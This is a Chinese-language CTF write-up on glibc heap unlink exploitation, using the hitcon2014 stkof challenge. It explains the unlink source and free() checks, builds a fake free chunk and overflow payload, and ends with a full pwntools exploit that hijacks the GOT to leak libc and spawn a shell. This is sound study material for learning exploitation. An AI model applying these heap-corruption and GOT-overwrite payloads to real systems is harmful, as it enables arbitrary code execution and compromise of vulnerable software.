Unlink:
先简要说明一下我认为unlink的使用:伪造一个fake_free_chunk,与存放堆块指针的数组组成双链表,在unlink触发后,数组内的堆块指针将会改成数组的地址,如此,我们就可以控制数组内的堆块指针使其指向我们想要指向的区域==》所以利用unlink的必要条件是可以获得堆块数组的地址(仅个人理解)
unlink介绍:
unlink源码:
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
unlink使用与free:
在执行free()函数时执行了_int_free()函数,在_int_free()函数中调用了unlink宏==》
#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
_int_free(){
unlink();
}
}
free对chunk的状态检查:
1、检查与被释放chunk相邻高地址的chunk的prev_size的值是否等于被释放的chunk的size大小(忽略P标志位)
2、检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0==》代表它前一个chunk是否为空闲状态
3、检查前后被释放的chunk的fd和bk
例题:hitcon2014_stkof:
检查保护:
开启了canary和NX
静态分析:
主函数:
1、创建:
在主界面输入1回车即可进入指针创建堆块的功能==》输入堆块大小==》程序输出堆块index,输出ok
2、修改:
在主界面输入2回车即可进入修改堆块的功能==》输入index==》输入size==》输入content
fread函数解析:
函数原型==》
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
参数解析==》
ptr:指向带有最小尺寸size*nmemb字节的内存块的指针
size:要读取的每个元素的大小,以字节为单位
nmemb:元素的个数,每个元素的大小为size字节
stream:指向FILE对象的指针,该FILE对象指针指定了一个输入流
返回值==》
成功读取的元素总数会以size_t对象返回,size_t对象是一个整数数据类型
3、删除:
在主界面输入3回车即可进入释放对快的功能==》输入index即可
4、打印(无用):
在主界面输入4回车即可进入打印界面==》输出一条字符串,没有明显帮助
动态分析:
首先创建几个堆块查看内存情况==》
红色区域为我们创建的堆块,而第一和第三个堆块则是程序在执行输入输出操作时申请的缓冲区==》初次使用fget()函数和printf()函数的时候
==》chunk1在两个io_chunk之间==》很难对chunk1进行漏洞利用==》由chunk2溢出至chunk3
查看溢出后果:
未执行修改==》
执行修改==》
==》可以进行任意长度的溢出
思路总结:
1、chunk1无法利用
2、修改堆块内容可以进行任意长度的溢出
3、没有打印功能
==》
触发unlink需要的条件==》空闲块==》伪造空闲快==》
在chunk2的data区域伪造fake_free_chunk==》
通过溢出修改chunk3的prev_size和size的P标志位,让chunk3在释放的时候可以前向合并==》触发unlink
构造fake_free_chunk==》
prev_size+size+fd+bk+next_prev+next_size==》0x30
prev_size:只想通过释放chunk3的时候前向合并fake_chunk==》纸0
size:0x20
next_prev:为了绕过检查,证明fake_chunk为空闲状态==》next_prev==size==0x20
next_size:不进行检查,字符串占位
fake_free_chunk=p64(0)+p64(0x30)+p64(fd_bk)+p64(0x20)+'a'*8
但是我在后文中并没有去伪造next_prev就成功打通了,后续有机会看看源码
chunk3要求==》
伪造free_chunk还需要修改下一个chunk也就是chunk3的prev_size大小==》0x30
还需要将chunk3的P标志位改为0
chunk大小还必须超过fastbin的最大值==》unsorted bin==》至少是0x90
==》
payload=fake_free_chunk+p64(0x30)+p32(0x90)
Unlink重点:
此时fake_free_chunk已经伪造好了,并且与0x602140和0x602138组成了双链表
将0x602140看成一个堆块:
将0x602138看成一个堆块:
未unlink状态:
此时只要将fake_free_chunk从双链表中摘除,也就是chunk3与fake_free_chunk合并即可摘除fake_free_chunk触发unlink
unlink状态:
此时0x602140堆块的fd将变成0x602138
0x602138堆块的bk将变成0x602140==》
注意点:
两个堆块修改的区域都是chunk2的指针==》
由于首先执行chunk2变成0x602140==》后执行的chunk2变成0x602138
==》最终形态是chunk2指针变成0x602138==》控制堆块指针数组
==》unlink过程已结束==》
chunk1指针不变,chiunk2指向堆块指针数组,chunk3被释放,指针清零,chunk4指针不变
控制了堆块指针数组就可以对其进行edit修改堆块指针指向的区域==》
获得shell条件==》
1、system()==》泄露地址获取libc==》考虑将free@got修改成puts@plt,将一个堆块的指针修改为puts@got==》在进行free这个堆块时就可以调用puts@plt将puts_addr打印出来==》接收地址,计算system()函数地址==》再次修改free@got成system()
payload='a'*0x10+p64(elf.got['free'])+p64(elf.got['puts'])
edit(2,payload)
payload=p64(elf.plt['puts'])
edit(1,payload)
dele(2)
puts_addr =u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
payload=p64(sys_addr)
edit(1,payload)
2、/bin/sh==》将一个堆块的指针修改为’/bin/sh’==》释放时free函数就会以’/bin/sh’作为参数
exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#io=remote('node4.buuoj.cn',27050)
io=process('./stkof' )
elf=ELF('./stkof')
#libc=ELF('/home/giantbranch/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so' )
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size):
io.sendline('1')
io.sendline(str(size))
io.recvuntil('OK\n')
def edit(index,content):
io.sendline('2')
io.sendline(str(index))
io.sendline(str(len(content)))
io.sendline(content)
io.recvuntil('OK\n')
def dele(index):
io.sendline('3')
io.sendline(str(index))
add(0x30)
add(0x30)
add(0x80)
add(0x30)
fd=0x602138
bk=0x602140
payload=p64(0)+p64(0x30)+p64(fd)+p64(bk)+'a'*0x10+p64(0x30)+p64(0x90)
edit(2,payload)
dele(3)
#gdb.attach(io)
payload='a'*0x10+p64(elf.got['free'])+p64(elf.got['puts'])
edit(2,payload)
#gdb.attach(io)
payload=p64(elf.plt['puts'])
edit(1,payload)
dele(2)
#puts_addr=u64(io.recvuntil('\nOK\n', drop=True).ljust(8,'\x00'))
puts_addr =u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
#binsh=libcbase+next(libc.search('/bin/sh'))
payload=p64(sys_addr)
edit(1,payload)
edit(4,'/bin/sh\x00')
dele(4)
io.interactive()